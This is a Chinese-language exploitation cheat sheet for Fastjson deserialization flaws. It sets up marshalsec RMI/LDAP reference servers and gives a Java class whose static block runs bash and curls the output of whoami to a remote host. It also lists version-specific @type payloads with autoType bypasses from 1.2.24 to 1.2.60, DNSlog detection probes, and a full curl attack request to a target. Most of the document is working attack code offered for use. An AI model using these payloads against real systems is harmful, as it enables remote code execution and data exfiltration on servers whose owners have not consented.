0x01 环境配置
首先需要安装marshalsec 用于起RMI or LDAP 服务
marshalsec 安装
git clone https://github.com/mbechler/marshalsec.git
pom.xml plugin配置
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
</plugin>
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
</plugin>
cd ./marshalsec/
mvn clean package -DskipTests
0x02 Payload 配置
//javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class exp {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c","curl http://xx/`whoami`"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
1.2.24
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/Exploit", "autoCommit":true}
1.2.42
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:9999/Exploit", "autoCommit":true}
- 需要开发者手动开启 autoType 支持。
- 修复后可通过重复 L 和 ; 绕过:
- LLcom.sun.rowset.JdbcRowSetImpl;;
1.2.45
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:9999/Exploit"}}
1.2.47
无需开启 autoType:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}
1.5 <= 1.2.60
无需开启 autoType:
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}
启动一个RMI服务器,监听9999端口 加载远程类TouchFile.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
启动一个LDAP 服务
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/#Exploit
0x03 attack
漏洞无损检测
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
区分Fastjson 和Jackson
{"name":"S", "age":21} //正常请求包
修改json为
{"name":"S", "age":21,"fuzz":"0xdd"}
/*
这里 Fastjson 是不会报错的, Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key,
所以会报错,服务器的响应包中多少会有异常回显
*/
命令执行显
#在python所起的web目录下,存在exp.class 文件
python3 -m http.server 80
目标为fastjson 1.2.45
curl http://127.0.0.1:8090 -H "Content-Type: application/json" --data '{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.103.194.147:9999/dd","autoCommit":true}}'
0x04 注意事项
- 漏洞利用收到目标 JDK 版本影响
- ldap 能收到请求即证明漏洞存在
- ldap 能收到请求,但没有通过 reference 请求到 Web 服务获取 Exploit.class 的原因就是 JDK 版本的问题
- JDK 版本绕过可参考:如何绕过高版本JDK的限制进行JNDI注入
- Exploit.class 本身需要满足 JDK 版本要求,比较简单的做法是使用 JDK6 来生成 exp